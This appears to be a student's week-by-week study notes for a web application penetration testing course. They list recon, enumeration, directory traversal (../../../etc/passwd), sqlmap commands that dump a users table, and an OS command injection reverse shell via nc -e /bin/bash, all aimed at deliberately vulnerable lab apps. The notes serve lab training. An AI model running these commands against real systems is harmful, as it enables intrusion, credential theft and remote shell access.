**WAPT CT - Web Applications for each attack**

**Week 1**

* **Intercepting HTTP Requests and Responses**
  + dvwa
* **Fingerprinting OS, Running Services, Open Ports**
  + nmap -O <OWASPBWA\_IP>
* **Identifying Web Server OS**
  + whatweb -v <OWASPBWA\_IP>
* **Identifying supported HTTP Methods:**
  + curl -X OPTIONS <OWASPBWA\_IP> -i
* **Testing individual HTTP Methods:**
  + curl -X GET/HEAD/DELETE/POST/PUT <OWASPBWA\_IP> -v

**Week 2**

* **Enumerating Directories, Files and Pages (dirb)**
  + Wordpress
  + dirb <http://192.168.209.128/wordpress/> -N 302
  + dirb <http://192.168.209.128/wordpress/> -N 302 -X .php (filter by .php extension)
  + bWAPP
  + dirb <http://192.168.209.136/bWAPP/> -N 302
* **Enumerate Usernames (WPscan - only for Wordpress):**
  + wpscan –url <http://192.168.209.128/wordpress> –enumerate u
* **Spidering** 
  + dvwa, bWAPP, Wordpress
* **Brute Force (fuzzing)**
  + Wordpress
* **Enumerating user credentials (Metasploit - only for Wordpress)**
* **Session Hijacking (Burp Suite)**

**Week 3**

* **Directory Traversal - Directories** 
  + bWAPP (/documents/../../../)
* **Directory Traversal - Files**
  + bWAPP (../../../etc/passwd)

**Week 4**

* **Configuring Context (for Authenticated Vulnerability Scan)**
  + dvwa (dvwa\_Login, dvwa\_user)
* **Authenticated Vulnerability Scan**
  + dvwa
* **SQLmap (GET)**
  + dvwa
  + For database: sqlmap -u “192.168.209.128/dvwa/vulnerabilities/sqli/Submit?id=4” –cookie=”security\_level=0; PHPSESSID=...” –random-agent –keep-alive –timeout 100 –dbs
  + For tables: sqlmap -u “192.168.209.128/dvwa/vulnerabilities/sqli/Submit?id=4” –cookie=”security\_level=0; PHPSESSID=...” –random-agent –keep-alive –timeout 100 -D dvwa –tables
  + For dumping: sqlmap -u “192.168.209.128/dvwa/vulnerabilities/sqli/Submit?id=4” –cookie=”security\_level=0; PHPSESSID=...” –random-agent –keep-alive –timeout 100 -D dvwa -T users -dump
* **SQLmap (POST)**
  + bWAPP
  + sudo sqlmap -u "http://192.168.209.136/bWAPP/sqli\_6.php" --cookie="security\_level=0; PHPSESSID=e55cc813cf01f5e2d36d231b549bd91b" --data="title=test&action=search" --random-agent --keep-alive --timeout 100 --dbs
  + Where –data portion is the input parameters
* **OS Command Injection**
  + bWAPP
  + ;whoami, cat /etc/passwd, nc 192.168.209.137 6789 -e /bin/bash (nc -nvlp 6789 in Terminal Emulator → netcat listener for reverse shell)
* **OS Command Exploitation (commix)**
  + Use only if question asks or if netcat listener does not work
* **HTML Injection (Reflected and stored)**
  + bWAPP

**Week 6**

* **XSS Post Exploitation (BeEF)**
  + Mutillidae
  + Dvwa

**Week 7**

* **Samba OS Exploitation (Metasploit)**
  + bWAPP
* **Directory Listing**
  + bWAPP
* **Unrestricted File Upload**
  + bWAPP

Week 7

- Arbitrary File Access (bWAPP)

- Directory Listing (bWAPP, dvwa)

- Unrestricted File Upload Due to Security Misconfiguration (bWAPP)

Week 6

- XSS exploitation using Beef, Stored XSS (Mutillidae, bWAPP)

Week 4.2

- OS Command Injection (bWAPP, dvwa)

- Manual Exploitation normal commands

- Manual Exploitation Spawning reverse shell

- Automated Exploitation of OS (Commix)

- HTML Injection Stored and Post (dvwa, bWAPP)

Week 4.1

-Authenticated Vulnerability Scan (dvwa, wordpress